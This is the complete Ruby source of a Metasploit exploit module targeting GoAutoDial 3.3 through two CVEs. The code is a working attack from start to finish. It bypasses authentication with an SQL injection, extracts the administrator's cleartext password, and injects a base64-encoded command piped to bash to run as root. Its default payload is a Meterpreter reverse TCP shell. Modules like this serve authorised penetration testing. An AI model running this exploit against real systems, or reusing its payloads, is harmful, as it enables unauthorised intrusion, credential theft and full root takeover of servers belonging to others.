## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'GoAutoDial 3.3 Authentication Bypass / Command Injection', 'Description' => %q{ This module exploits a SQL injection flaw in the login functionality for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges. This module has been tested successfully on GoAutoDial version 3.3-1406088000. }, 'License' => MSF_LICENSE, 'Author' => [ 'Chris McCurley', # Discovery & Metasploit module ], 'References' => [ ['CVE', '2015-2843'], ['CVE', '2015-2845'] ], 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Targets' => [ ['Automatic', {} ] ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'echo' }, 'CmdStagerFlavor' => %w{ echo printf wget }, 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => 'Apr 21 2015')) register_options( [ OptPort.new('RPORT', [true, 'The target port', 443]), OptBool.new('SSL', [false, 'Use SSL', true]), OptString.new('TARGETURI', [true, 'The base path', '/']) ]) end def check res = check_version unless res vprint_error "#{peer} Connection failed" return CheckCode::Unknown end unless res.code == 200 && res.body =~ /goautodial/ return CheckCode::Safe end unless res.body =~ /1421902800/ return CheckCode::Vulnerable end CheckCode::Safe end def check_version uri = target_uri.path send_request_cgi({ 'uri' => normalize_uri(uri, 'changelog.txt'), 'headers' => { 'User-Agent' => 'Mozilla/5.0', 'Accept-Encoding' => 'identity' } }) end def sqli_auth_bypass uri = target_uri.path send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'), 'headers' => { 'User-Agent' => 'Mozilla/5.0', 'Accept-Encoding' => 'identity' }, 'vars_post' => { 'user_name' => 'admin', 'user_pass' => "' or '" } }) end def sqli_admin_pass uri = target_uri.path send_request_cgi({ 'uri' => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', Rex::Text.uri_encode("' OR active='Y")), 'cookie' => @cookie, 'headers' => { 'User-Agent' => 'Mozilla/5.0', 'Accept-Encoding' => 'identity' } }) end # # Run the command stager # def execute_command(cmd, opts = {}) params = "|echo -n #{Rex::Text.encode_base64(cmd)} |base64 --decode|bash" uri = target_uri.path send_request_cgi({ 'uri' => normalize_uri(uri, 'index.php', 'go_site', 'cpanel', Rex::Text.uri_encode(params)), 'cookie' => @cookie, 'headers' => { 'User-Agent' => 'Mozilla/5.0', 'Accept-Encoding' => 'identity' } }) end def exploit print_status("#{peer} - Trying SQL injection...") res = sqli_auth_bypass unless res fail_with(Failure::Unknown, 'Connection failed') end if res.code == 200 && res.get_cookies.include?('go_session') print_good("#{peer} - Authentication Bypass (SQLi) was successful") else fail_with(Failure::NotVulnerable, "Run 'check' command to identify whether the auth bypass has been fixed") end @cookie = res.get_cookies print_status("#{peer} - Dumping admin password...") res = sqli_admin_pass unless res fail_with(Failure::Unknown, 'Connection failed') end # Example response: admin|goautodial|Admin|||Y if res.body.include?('|') print_good("#{peer} - Found credentials: #{res.body}") else fail_with(Failure::NotVulnerable, 'No creds returned, possible mitigations are in place.') end print_status("#{peer} - Sending payload...") execute_cmdstager(:linemax => 800) end end